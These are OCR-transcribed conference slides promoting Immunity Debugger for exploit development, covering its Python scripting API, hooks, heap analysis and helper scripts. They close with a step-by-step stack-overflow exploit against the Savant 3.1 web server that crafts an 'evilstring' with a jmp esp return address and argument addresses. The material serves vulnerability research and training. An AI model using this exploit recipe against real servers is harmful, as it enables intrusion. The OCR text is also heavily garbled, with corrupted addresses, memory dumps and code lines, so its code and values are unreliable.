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Introduction
An exploit may be coded in multiples

languages:
- Asm - Pascal - zmud! - Coftee
-C - Fortran - whitespace - Clipper
- Python - Lisp - yacc - Delphi
- Perl - Brainfuck - smalltalk - B
- Shellscript Cupid -C# -A
- PHP - Gap - C++ -C
- Cobol - Kermit - C--
- Foxpro - Java -C

- C-smile
- Cocoa



- Clist - Lingo - VisualBasic - Quickbasic

- Kalkulon - Fortress - Nemerle - Ruby

- ABC - elastiC - Objetive-C - S

- ADA -D - Phantom - Oblig

- ALF -CcT - Prolog -GNU E

- Batch - AWK - Simula - COMAL
- TOM - Felix - Snobol - NetRexx
- OZ - Guile - Turing - PL/B

- Modula-3 - MC# - Blue - Sather



etc



Immunity VisualSploit
introduced a graphical
domain-specific language
for exploit development

Immunity VisualSploit - Project: vsploit_nidemo2

File Help )
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Exploits are functional

representation of Intelligent

Input Crafting

Debugging

Memory state
manipulation

Heap Analysis

Protocol Analysis
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We want a debu with a “rich
API” for exploit development

 Simple, understandable interface

 Robust and powertful scripting
language for automating intelligent
debugging

 Lightweight and fast debugging so as
not to corrupt our results when doing
complex analysis

 Connectivity to fuzzers and other
exploit development tools g



No one user interface model
1s pertect for all exploit
development situations

* These three main characteristics will
help us achieve what we want:

- GUI
- Command Line
- Scripting language
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A debugger's UI can ake
weeks off the time it takes to

write an exploit
 Easy visualization of debugee context
- Does EAX point to a string I control? Yes!

 Faster to learn for complex commands

* Downside: Slower usage than
commandline due to mice

10



The command line is the
faster option
e Example GDB commandline:
- X/1 $pc-4
e Example WinDBG commandline:
- ueip -4

 Example Immunity Debugger
commandline:

-ueip -4

11
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Immunity Debug's Scripting
Language is Python 2.5

* Automate tasks as fast as you can think
of them

e Powerful included API for
manipulating the debugger

- Need another API hook? Email
dami@immunityinc.com

 Familiar and easy to learn

* Clean and reusable code with many
examples 12



GUI+CLI+Pytho = Faer,

better exploits

* Immunity Debugger integrates these 3
key features to provide a vuln-dev
oriented debugger

* Cuts vulnerability development time in
half during our testing (Immunity
butfer overtlow training)

e Allows for the rapid advancement of
state-of-the-art techniques for difficult
exploits

13
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Immunity debugger running a custom script from its command box and
controlling the GUI output
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The Immunity Debugger API:
e The API is simple

* [t usually maintains a cache of the
requested structures to speed up the
experience (especially useful for search
functions)

e It can not only perform debugging tasks,
but also interact with the current GUI

 Keep in mind that you are creating a new
instance on every command run, so the
information in it will be regenerated on
each run. 5
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How deep can we dive with

the API?
 Assembly/Disassembly

 Breakpoints

» Read/Write Memory
 Searching

 Execution and stepping
* Analysis

e Interaction with GUI

16
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Interacting with the GUI offer:

* New windows for displaying your
custom data

* Tables, Dialog boxes, Input dialogs

- Create a wizard for complex scripts like
findantidep

 Add functionality to already existent
windows

* The possibility to create a python
based orthogonal drawing algorithm
and get something like this: 17



h of _Decodeascii (0x420f9c0)

=& X

HOR EAX EAX

MOV EDILEAX

MOV EDX, DVWORD PTR SS5:[EBP+C]
MOV BYTE PTR DS:[EDX+EAX],0
CWMP DWORD PTR S5:[EBP+10],5
JGE SHORT Immunity. 0040F3E4

40f3dd:
XOREBAX EAX
JWP Immunity.0040FBE4

4lfbed:
PCOPEDI
POPESI
40f9e4: POPEBX
CHMP DWORD PTR S5:[EBP+2],0 MOV ESP EBP
JNZ SHORT Immunity.0040FADS PCPEBP
RETN

!

40fals: 40f3ea:
MOV ECX DWORD PTR S5:[EBP+8] CHMP DWORD PTR S5:[EEP+14] 1
PUSH ECX JE SHORT Imrmunity 0040FADS
CALL Immunity._Findmemory R
POP ECX

TEST EAX EAX
JE SHORT Immunity. 0040FA37

40f3f0:
PUSH Immunity. 004E936E  ASCITHULL
MOV EDX DVWORD PTR S5:[EBP+C]
PUSH EDX




Immlib: R/W Memory

e readMemory (address, size)

e readlLong (address)

e readShort (address)

e readString (address)

e readUntil (address, ending char)

e writeMemory (address, buf)

19



Immlib: Searching

* The following search functions return a list of

addresses where a particular value was
found.

e Search (buf)
e searchlLong (long 1int)

e searchShort (short 1int)

20



Immlib: Searching
e Searching Commands

e Commands are sequence of asm instruction
with a bit of regexp support

— searchCommands (cmd)

— SearchCommandsonModule (address, cmd)
* Returns a list of (address, opcodes, module)
® &X.

imm.searchCommands (“pop RA\npop

RB\nret”)
21



Immlib: Searching

 Keep in mind, that SearchCommands use
the disassemble modules to search, so if you
want a deeper search (without regexp) you
can do:

ret = 1mm.Search(imm.Assemble ("Jmp EBX"))

22



Immlib: Searching

* Finding a module which an address belongs
to:

- findModule (address)

* Finding exported function on loaded
addresses

- findDependencies (lookfor)

Note: lookfor is a table of functions to search for

23



Immlib: Getting References
* Getting Code XREF:

- getXrefTo (address)

- getXrefFrom(address)

e Getting Data XREF

- findDataRef (address)

24



Immlib: Knowledge

e Since every run of a script is ephemeral,
there is a way to save some data and use it
on a second run of the same script or any
other script:

- 1mm.addKnowledge (“nocrash”, cpu context)

- 1mm.getKnowledge (“nocrash”)

25



There are threeways to Cript

Immunity Debugger
e PyCommands

* PyHooks
* PyScripts

26
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PyCommands are temporary

ScCripts

 Decrease developing and debugging
time

* Non-caching (run , modity, and re-run
your PyCommand at will, without
restarting the debugger)

e Accessible via command box, or GUI

* Integrate with debugger's features
(including the GUI)

27



Scripting Immuity Debgger

* Writing a PyCommand is easy
e command.py

import immlib
def main(args) :
imm=1immlib.Debugger ()

imm.Log (YDone”)

* Place it into PyCommands directory and you
are ready to go

28
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Scripting Immunity Debugger

) Tu] - -

PyHooks:

* Hooks are Objects that hang on debugger
events and get executed when that event is

hit

* We have 11 different hooks:

class
class
class
class
class
class

BpHook (Hook)

LogBpHook (Hook)
AllExceptHook (Hook)
PostAnalysisHook (Hook)
AccessViolationHook (Hook)
LoadDLLHook (Hook)

class
class
class
class
class

UnloadDLLHook (Hook)
CreateThreadHook (Hook)
ExitThreadHook (Hook)
CreateProcessHook (Hook)
ExitProcessHook (Hook)

29



Scripting Immunity Debugger

Creating a Hook is easy:
import immlib
from immlib Import PostAnalysisHook
class MyOwnHook (PostAnalysisHook):
def 1nit (self):
PostAnalysisHook. 1nit (self)
def run(self,regs):
et e §1ll b
happens"""
imm = immlib.Debugger ()

ecuted when hooktype

ooks always
has CPU

context at
runtime 30




Identifty common ding prblems
by running a program under
Immunity Debugger

* strncpy(dest, src, strlen(src))
- Common vulnerability primitive

e Similar vulnerabilities, such as
memcpy(dest, src, sizeof(src)) are also
detectable using slightly more
advanced Immunity Debugger API's

31
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Hook example: loint on strncpy

* |[nstantiate debugger class

e Set logpoint address [strncpy]
* Create logbphook

def main():
1mm = 1mmlib.Debugger ()
bp address=0x32772DDC # strncpy
logbp hook = MyOwnHook ()
logbp hook.add("bp on strncpy”,bp address)
1mm.Log ("Placed strncpy hook: bp on strncpy")

32
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Hook example: loint on strncpy

* The MyOwnHook class
class MyOwnHook (LogBpHook) :
def init (self):
LogBpHook. init (self)  Get
arguments

def run(self,regs): ﬂggg;gigj
1mm = 1mmlib.Debugger () ;Z>////
src = regs['ESP'] + 0x8 #strncpy second arg
maxlen = regs['ESP'] + Oxc #strncpy third arg
res=1imm.readMemory (src, 4)
leng=1mm.readMemory (maxlen,4)

33
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logpoint on strncpy (continuation)

#read src arg
readed=imm.readString(src addr)
imm.Log ("strncpy source: %s" %readed)
if len(readed) == int(size):
imm.Log ("*** STACK ***")
callstack=imm.callStack() , ,
for a in callstack: Src string Slze/
imm.Log ("Address: %08x - Stack: %08x - \
Procedure: %s - frame: %08x - called from: %08x"
% (a.address,a.stack,a.procedure,a.frame,a.calledfrom))

Log callstack P

the size arg is
the same as the

34



Logpoint on strncpy: results
debug,debug,debug and check your results:

Flaced shencpy hooks bp_on_skrncpy
stEncpy sourcer testo

M STACK

Addpess: BALZFFSE - Stacks BA4A1196 - Procedyre: <P RCCIZ7AMT, _stencpyl - frame: BA12Ff8c - called from: B8d8119]
Addpess: BA12FFSc - Stacks BA12FFE8 - Procedyre:  dest = BOIZFFRA - frame: BBI2FF8c - called from: BRdA1191
Address: BRIZFFER - Stacks DO4EZO04 - Procedyre:  src = ™pesto” - frames BO1AFERC - called froms BO4E119]

Address: BA1AFFed - Stack: BRAARRAS - Procedure:  mawlen = 5 - frame: BA12FF80 - called from: BA4A119]

stencpy soupcer |ogophook(stenepy]

sEINCHY SONTCED On

W STHCK b

Address: ARI2FFES - Stacks GA4B110c - Procedure: SJMPRCCIZ7ANT, _stencpyy = framer BRIZFF8c - called from: BR4A1107
Addresss BA1AFFSe - Stacks BRI2FF7d - Procedure:  dest = BALIZFFYD - frame: BA12FF80 - called from: GR48]10/7
Addpess: BAIZFFER - Stacks BA4E20ed - Procedyrer  apc = "on" - framer BAI2H8c - called from: GAdE11L7
Address: BALZFFE4 - Stack: DOGRGEZ - Procedyre:  mawlen = 2 - frame: BAIZFf8c - called from: G8d@11L7




—

Injecting a hook into your
target for debugging

* L ogging hook

* Much faster, since it doesn't use the debugger

* |[nject ASM code into debugged process

* Hooked function redirects to your asm code

* The information is logged in the same page

* Used in hippie heap analysis tool

36



There are drawbacks to using
injection hooking

* |nject Hooking only reports the result, you
cannot do conditionals on it (for now)

* Hooking on Functions:

fast = 1mmlib.STDCALLFastLogHook( imm )
fast.logFunction( 0x1006868, 3)
fast:logRegister{'EAX")
Tast.logFanctiont 021003232 )
fast.Hook ()

imm.addKnowledge (Name, fast)

37



Printing the results of an
injection hook

* Get the results directly from the log window

fast imm.getKnowledge ( Name )
ret fast.getAllLog()
for ndx in ret:
1f ndx[0] == 0x1006868:
imm.Log (“0x1006868 (%x, %x, %x) <- %x"\
s (a[1][0], alll[l], al[ll[2], al[l][3]))

38
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He ép ana yS1 TS one ol the
most important tasks for
exploit development

* Printing the state of a heap

* Closely examining a heap or heap
chunk

 Saving and restoring heap state for
comparison

e Visualizing the heap

 Automatically analyzing the heap »



Immunity Debur Heap Lib

* Getting all current heaps:

for hndx i1in 1mm.getHeapsAddress|() :

imm.Log ("Heap: 0x%08x" $ hndx)
* Getting a Heap object

pheap = 1mm.getHeap( heap )

* Printing the FreelList

pheap.printFreellist ( uselog = window.Log )

* Printing the FreeListinUse

pheap.printFreelListInUse (uselog = window.Loq)
40



Immunity Debur Heap Lib

* Printing chunks

for chunk in pheap.getChunks( chunkaddress ):

chunk.printchunk(uselog = window.Loq,
option=chunkdisplay,
dt=discover)

* Accessing chunk information

hunk.size tpacked size (usize unpacked)
hunk.psize tpacked size (upsize unpacked)
hunk.flags

hunk.nextchunk # FLINK

hunk.prevchunk # BLINK

& i £ g

41



Immunity Debugger Heap Lib
e Searching Chunks

SearchHeap (1mm, what, action, value, heap =
heap, option = chunkdisplay)

what (size,usize,psize,upsize, flags,address,
next, prev)

action (=,>,<,>=,<=,&,not, !=)
value (value to search for)

heap (optional: filter the search by heap)

42



Datatype Discovery Lib

* Finding datatype on memory

import libdatatype
dt = libdatatype.DataTypes( imm )
ret = dt.Discover( memory, address, what)

memory memory to 1nspect
address address of the inspected memory
what (all, poilnters, strings,

ascllstrings, unicodestrings,
doublelinkedlists, exploitable)

for obj in ret:
print ret.Print ()

43



* Types of pointers
import libdatatype

dt
ret
for

= libdatatype.DataTypes( 1mm )

= dt.Discover( memory, address, what='polnter')

obj in ret:

print ret.isFunctionPointer()
print ret.isCommonPointer()
print ret.isDataPointer()
print ret.isStackPointer ()

44
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Immunity Debugger Scripts

e Team Immunity has being coding scripts for :

- Vulnerability development

- Heap

- Analysis

- Protocols

- Search/Find/Compare Memory
- Hooking

45



e safeseh

- Shows you all the exception handlers
In a process that are registered with
SafeSEH.

- Code snip:

if LOG HANDLER3=True:
for 1 in range(3ehlistaize):
aehaddress=atruct.unpack('<L',imn. readdenory (3ehlistaddress+isi, 4)) [0]
3ehaddress+=nzbase
table.add(sehaddress, [key,'0x308x'% (sehaddress)])
imm, Log('0x%08x"# (sehaddress))

46



Example Scripts
* Findantidep

- Find address to bypass software DEP

- A wizard will guide you through the execution of
the findantidep script

Insert the Asm code to search for

Please, choose the First _‘_‘:L 1 _E] m—— =l Please, choose the Third return Ad dres: _EI
Dxbad7 21 de: TN DO W, tem32 U s T heme. dll - 047FEId2 ef: C:AwWINDDWS aystem3 A ISER
0x76a43470; EZ"\"-.-'-.-"|NDDWS"\S}'SEEH‘IEE'\USEHENV dll -
0x770df8ar: C:WwINDOW'S Yeystem32hole32. dl
0x77edadbb: CAWINDDWS eueternIRPCAT 4.dI i 0k Cancel

o Get th resu t

21 d bt funf fraf bt fufSuddndl e Poaf faf fraffafE" + A" # BuBd + Muefudl e 3d P + shelloode

findantidep

47



0

—

Finding memory leaks
magically

e |eaksniff

- Pick a function
- lfunsniff function
— Fuzz function

- Get the leaks

Address

Bx70a94663
B=788A1532
Bx77F8e6b?
Bx77Ff8edb?
Bx7cS8dcahy
Bx76bA1989
Bx7obB1cB6
Bx7obB1c b
Bx7abB81ci1@
Bx76bA1c1E
Bx76bB1c1a
Bx77F8F134
Bx77Ff8F130
Bx76bB1bea
Bx70a94628
Bx70a94620
Bx70a946208
BxB00BAGGEGO
Bx76bB1c1a
Bx00000088
Bx78081532
BxB0236fb0
Bx88236fb8
BxB80236fbE

Data

Free (BxB8c50808,
Alloc{@xAA230800608,
Alloc{@x008700008,
Alloc{Bx00087 00060,
Alloci@xB0687 00060,
Free {(Ox00870060,
Free {(Bx008700008,
Free {(Ox008700060,
Free {(Ox000870000,
Free {(Bx00087000608,
Free {(Ox008700008,
Free {Ox00070000,
Free {Ox00687 000608,
Free {(Bx082300608,
Free (BOx88c5080808,
Free (BxB8c50808,
Free (BxB8c500808,

Chunk freed but not allocated

Free {BxB8087008880,
Hemleak detected

gx 800000860,
Ax000800868,
gx00000Bee,
gx 800000800,
Oz 8810008068,
Gx00000068,
gx00000060,
gx 80000860,
fx 800000860,
Ax000000608,
gxo0000Be0,
gx 80000800,
gx 80000800,
Ax00000068,
gx000000e0,
gx 088000800,
gx 080000860,

gxd0oo0Ben,

8= 88c58db8 )
AxB0000880)
gz B00080828)
B=00000820)
Bx 08008881c)
AxB0B938BR)
Gz B0000008)
Bx B00000800)
Bx000000800)
AxB0000008)
gxB0000008)
6= 00093860)
B 08808bfced)
BxB80236F308)
Bz B88c55898)
B=B88c58dBA)
8= B88c58boA)

—-» Bz80236F38

—-» Bx088bfcend
-» Bx00893868
-» Bx00893888

on this heap flow

gz B0000008)

Alloc{Bx00230000, Ox00000000, 0x00006118) -> Bx00236fD8

AxB80236FbB>» size:
heap:

» String:

0x00060118

(8823)

*Bx000008a0=

flags:

prevsize: Bx00000I
gx o088l
'yHoCacheCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCOLEL




Finding datatypes in memory
magically

Ir =l

 finddatatype o o > I

- Specify an address
- Set the size to read

- in hpluni.dats

- Get a list of data types [ IR 1) Dl

1 SRr1Mmas Flaft

Hinddatatype 0x10001000 500

Found: 17 data tupes
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Example Scripts : Chunk analyze
 chunkanalizehook

lchunkanalizehook -a addr_of rep _mov EDI-8
Run the script and fuzz

Get the result (aka, see what of your command on the
fuzzing get you a overwrite of a Function Ptr or Double
Linked list

Message
ruuule LoAwWIinNIASUSLENSSZWHUVHPE LGS S PLL

25 fC3uaae8 Module CIAWIHHTAsystemd2WSECUR3Z.DLL

fCuEA@A0A| Module C:\WWIHHTAsystem32“KERHEL32_dl1

77FA144B | attached process paused at ntdll.DbgBreakPoint
Expression: ["EDI", -, '8°]
Hooking on expression: '[°EDI', '-', 8]"
Thread 808088434 terminated, exit code 8
Thread 88880846C terminated, exit code B8

§BC59688| > Hit Hook Bx76a57cl1c, checking chunk: B8x88c59688

BOCS96088 | B2 PBCcS9600 size: 8xA08086218 (8842) preuvsize: Bx00000038 (0087)
A8CS26 088 heap: *0=x 00000000 flags: Bx000068881 (B)
BOCS9818| B2 BBC59810> size: 8xA0808687Ff8 (B80fe) preuvsize: Bx008802180 {0042)
AACS 92818 heap: *Ax00000000= flags: B 000080818 (F|T)
gBc59s81a next: Bx08c57 498 prev: BxB88c58178
¥7FCC663 | Access wiolation when writing to [42424242

Ichunkanalizehook -a 0x76a5%7clc EDI- 8




Example Scripts : duality

* Duality
- Looks for mapped address that

can be 'transformed’ into
opcodes

4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4

I!duality jmp esp
|Addresses taunded: 71 [Check the Lag Windaw) 5 1




Example Scrits : Finding
Function Pointers

e Imodptr <address>

- this tool will do data type recognition
looking for all function pointers on a .data
section, overwriting them and hooking on
Access Violation waiting for one of them
to trigger and logging it
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Stack Overtlow

e Savant webserver
(savant.sourceforge.net)

 Stack overtlow when sent long
get request

evilstring="\x41" * 284

buf = "GET /%5 HTTP/l.0\r\nContent-Length: sd\r\n\r\nss"
% ( evilstring, 0x30, "B" * 0x30)
send (buf)

however...
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Case Study: Savant 3.1

First problem

 Overwritten stack arguments

won't allow us to reach EIP
T X Il ¥ i+2 1l elmtwhecPkbzr. s ? [

MOU AL, BYTE PTR D3:L[EDX] - eaizters (FPU)
Do ook THC EOK ST
BE417267 CHF AL,BYTE PTR DS:[ECK] Ao
Go417262 | 175 E9 SHORT Sauant. G041 7254

41414141
Go4172eE | - 41 IHC ECH glalalil
ARa1recE | ~24 o °F Bheft o BB417258 paEsERTd

- avant . L] L1}
BB417276 | - FPOE peoeeems TEST EDR,2 A S e ASCIL PHARRRRRRRAARRRRRARAAA
8417276 | .74 AS SHORT Savant.@@417220 e
417272 | > Ge:omE2 MOU A, WORD PTR DS: [EDX]
BE41727E AOD ED%, 2 BB417264 Savant.BE417264
BE41727E CHF AL, BYTE PTR DS:[ECK] :
B@< 7258 SHORT Sauant. @64 17254 Sebit BIFFRFFEFE]
32hit @[FFFFFFFF)
ga41rass R AL, AL Z2bit BLFFFFFFFF)
86417286 CHP AH,BYTE PTR D33 [ECK+11 Sohin BLEREEEEREL
gad17223 | 1n7 SHORT Sauant.@0417254 TN
Gp41 7200 1 OF SHART cavant.@e17zse
avant.

godlreen fon EeRT LastErr ERROR_SUCCESS (9O8OEEEE)
BE417292 c SHORT Sauant.@a417220 BEBEEZEZ (MO, NE, NE, A, NS, PO, GE, &)

EEpt e empty —?77 FFFF GRGEEEEE G61FHAGS

BE41 7295 empty —UMORM FEBEC BE12FAZE YPFAS1AS
BE41 7297 empty —UMORM FEEC @B12FBEC @E12FRA2C
AE41 7208 Log data x empty —7. 419147 9EE74E2742480e+4E579

AE41 7299 _ empty —UMORM ESDE 4808886 081368880
Ba41?29n U || |.-' SULINT oYL ET DS WSl VR LR e L L ENDEH Eﬂﬁ%gﬁlgg?élggégggggagagaggEq'
BE41729E TCAEIS24 | Hew threéd with ID BEBEE4E4 Dreatéd gmpty +UHORM BEEZ BE346E1C BEERZESCE
28417230 BA41 754 | Aocess violation when reading [414141417 e 2218 ESPUOZDOI

T B A A A A A& &R (ET
Hidds H dum SiC HiEF SEHEC Z. ASCII "BAARRAARRARARA™

HE4SHEEEA BBFSEB?B 2. ASCII "C:-Sawvant~FRoot™

BE43AEAS 7 - RETURM o Savant.B8848C2F2 from Savant . 884172
BE42AE1A BBFBEB?S 41414141 AAAA

BE42AE12 HEFZEW T HHGSVoED wul, ASCIT "GET™

HE43AE2A BEFSEESH  BE00eEal 8...

BB43H828 BEFSE&E4 88884898 i




Case Study: Savant 3.1

First problem

* SO we need to find a readable
address to place as the
argument there....

e And we'll face the second

argument: a writable address

BHE4H - ) HEEEE u] "TR L = i Fegisters [(FPU

........ S 55



To hit EIP:

- A readable address

- A writable address

- The arguments offsets in our
evilstring:

evilstring="\x41" * 284

buf = "GET /%5 HTTP/l.0\r\nContent-Length: %d\r\n\r\nss"
% ( evilstring, 0x30, "B" * 0x30)

send (buf)
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Finding the offsets...
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Case Study: Savant 3.1

We get something like this:

oy o

evilstring="‘\xcc"™ * 2&7

evilstring+="\x42\x42\x42\x42"
evilstring+="\x20\xe0\xfd\x7f"
evilstring+="\x20\xe0\xfd\x7f"

—

evilstring+="\xcc" * ¢

And with the arguments issue |

solved we are able to
hit EIP

# EIP
#7£fde020 + 24h writable arg
#7£fd6020 readable arg

cleanly
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e Once we hit EIP, in detail we have
control over:

- EBP value
- EIP value (of course)

- What ESP points to (1 argument)
- What ESP + 4 points to (2 argument)

- More than 200 bytes buffer starting at
[EBP — 104H] to [EBP - 8H]
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K NOWIR

Case Study: Savant 3.1

And with this context, '
the first thing one |
would think is:

<

we need to jump back,

\
What

points to
ESP

but how?
Second Problem....

M
M
+
+
+
+
+
+
+
+
+E
+E
+E
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Since we are controlling what ESP points to,
what if we could find an address to place as
the overwritten argument, which:

- Is writable [remember first problem]

- Can be “transformed” into opcodes that would
be of use here...like a 'jmp -10' (to land into our
controlled buffer)
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Finding an address with these
characteristics might be pretty tedious...or
a matter of seconds using one of the
Immunity Debugger scripts we talked a few
minutes ago: Duality

|![Iualily jmp-10

Addhesses founded: B9 (Check e Log Window|
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Case Study: ant 3.1

How duality works:

- Create a mask of the searched code [jmp -10]
- Get all mapped memory pages

- Find all addresses that match our masked

searchcode

—_ Log' I‘esu:l_ts: Addresz |Message

What: BxBAEERFfEeD —3» jmp —-1A
H134FEEE Fo Jr:| H l11 -H-H 1
TEE3FBER Found: FAeb data
YCHFFBEER Found: cebh .text
UUF_FUEE Found: ch
Tra9FEER Found: ebh .data
Tr36FEER Found: cebh .text
FV2EFBEE| Found: cbh .rsrc
HE4CFEER Found:
FYFFOFBEER Found:
FFE8FBEE Fo Jrj:
TC4EFHER Fou

1 W tent
AN "'1' L] tE‘:‘: 1.-
rrEZFHER Fo Jrj B ""t_+H t TP
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Case Study: avant 3.1

Almost there:

- Before finishing crafting our evilstring with the
brand new transformable address we'll need to
find a jmp esp for EIP:

* Searchcode script will do that in a quick and easy

EE F|E| I:J N |§|| EI ] e IE'HEL

~systema2-COMCTLE2. 0OLL]

.OLL]
.OLL]
LOLL1]

32.0LL]

AT sustema2~HOVARFT 22, d1 1]

I!searchcude jmp esp
| Found 48 addrezz [Check the Log *Windows for detailz)]
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Case Study: Savant 3.1

Resume:

- Bypassed arguments problem
- Hit EIP

- Searched for a writable address that can be
transformed into a desired opcode (0x7{fdfOeb)

- Searched for a jmp esp (0x74fdee63)
- Crafted the string:

evilstring="‘\xcc" * 2g7

evilstring+="\xe63\xee\xfd\x74" # EIP (Jmp esp)

evilstring+="\xeb\xfO\xfd\x7f" #7ffdfleb (writable address (transformed a Jjmp -10))
evilstring+="\xc3\x12\xfd\x74" #arg2 (readable address)

—

evilstring+="\xcc" * &
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"" Immunity Debugger - Savant.exe -8 x|
File “iew Debug Plugins Immlib Options Window Help Jobs |

™E 4 X ﬂ I IFE J’E ?E u 'ﬂ "’E l em t w [ aee ? Want to get paid to do this? Emplovment opporunities with Tl benefits In 2 loca

CPU - thread 00000754 =10 x|

HEFIEASS e INTZ
{55 /5]x] AOD BYTE FPTR DS:[EAX], AL e
AOCD BYTE PTR DS:[CEAX], AL HAEFSFFA4
MHTS
HE43FEEE Savant . BE43FERE
HAFSERSE CC IMTS CLCCOCOD
HEFSERSC &3 EEEL 5I.BF ARSE4RDE

BarsEAsE BEBREEE]

BEFSEASF ~74 JE SHORT BEFZER4C
BEFSEAS 1 : BEFSEASS

L e T . T T L0 Q| S g [ H : BI:FFFFFFFF]
HEF3ERSS AOC EH, CH il: &{FEFEFEFE1

. B !

BEF3ERST SHORT BBF3EASS L i
BAF3EAED INTZ Lf BLEFEFEFFE)
aroEnen s if TFFOEGBE!FFF)
BEF SERGE IHTS
darcEnen A — ERROR_ALREADY_EXISTS | BOOE66ET)
BAF 3EATE CIDE ' BRAEEZ12 (N0, HE, HE, A, M3, PO, GE, G
BBF 3EAY 1 IHC EAY i

. empty —777 FFFF_GOOE0EE0 601FEA03
JarcEnre Aoh EnIE PLEAR. 2 empty -UMORM FBEC BE12FAZ8 FPFAZLAS

: ' ~UMORM FESC BB1ZFEEC BB12FASC

. empty
arEnry BVTE LERRT. AL enpty —7.41914795074027 4348044573
BOF SEAVE FLERSYT R ermpty —UNORM S500 48P00AGE A0130008
BAFSEATD P LER B Erpty B.A28415631157 190487 0e—4333

: : +INORN 3312 DRBRAIED ABRAREES

BEFSEATF :CER®], AL ETIpEY
: ' empty +UMORM 3882 BP34801C DEEZBSCH
DaFSERS ] : [EART, AL - i e ESPUDZDI

GEFZEAZS  CLLLOLYG
) BAF3EAZ3 CCOCCONC
B4 3ABES | oFzeRzC  cocoocdc
BE42AE16 GOF3EAZA  CCCCCONC
BE42AE15 GBF3EA34 CCCCCONC
BE42AE2E GOF3EA3S CCCCCONC
BE42AE25 GOF3EASC CCCCCONC
BE42AE3E GOF3EA4E  CCCCCONC
BE43AE35 GBF3EA44 CCCCCONC
BE42AG4E GEF3EA4S
GE43AG43 BAFSER4C T
GE43AESH BBFSERSH FIFIFF
BB42AB5S GRFIEASY SEEEESEH. ...
AR4ZAEEE BEF3ERSS  CCCCCCCC [FIFlFF
BR4SAHES AHESEQC  FAFMEEED cFzt+ mesfd, P4FOEESS

EEEEEEE  7RFOFGEE 3226
daanerh BOFIERG—T 4 BEE9—Fe*t—t af d. P4F012C3

|

BAFZEASE  CCCCCCCC [FIrlFlr
Sgiggggg BAFZEREC  BEAACCLCC |FF. .
BE43AE9E BAFZEAYE  BEZA4E98 GEC,
HR4IAETD BAFZEAY4  BEAEECEE . ...
HR4ZAEAE BAFZEAYS  BEAEEEEE . ...
HR4IAEAS BAFZEAYC  BEAEEEEE . ...
HR4ZAEEE BAFZEAZSA  BEAEECEE . ...
BR42A6ES BEAFZEAS4  @oBEcaas ...
BR4ZAECH BEAFZEASE  @oBE0aEn ...
BR4ZABCE BEAFZERSC  @oREnaas ...
BR42AE08 BAFZEA?E  @oREcaEs ...
BR42AE0:2 BEAFZEAT?4  @oRE0aEs ...
BR4ZABER BEAFZERTE  @oBEcaEn ...
ER4ZA6ES BAFZEASC  @oRanaas ...
BE42AEFE HEFSERAE  BEEEEEEE ...
BE43AGEFS HAFSEAR4  BEEEEEEE ...
BE43A186 HAFSEARS BEEEEEEE ...
BEa43A16:2 BN CEFSERAC  BoBacaan .. ..

L[ HEL LA LA R

LT




Conclusions
 ID wont give you an out-of-box exploit (yet)
but:
- It will speed up debugging time (gui +
commandline)

- Will help you finding the bug (API + libs +
scripts)

- Will help you crafting your exploit (make it
reliable!)
 ID is not a prootf-of-concept application (it
has been used for months successtfully by
our vuln-dev team) -



Download Immunity Debugger
now!
Get it free at:

http://debugger.immunityinc.com
Comments, scripts, ideas, requests:

dami@immunityinc.com
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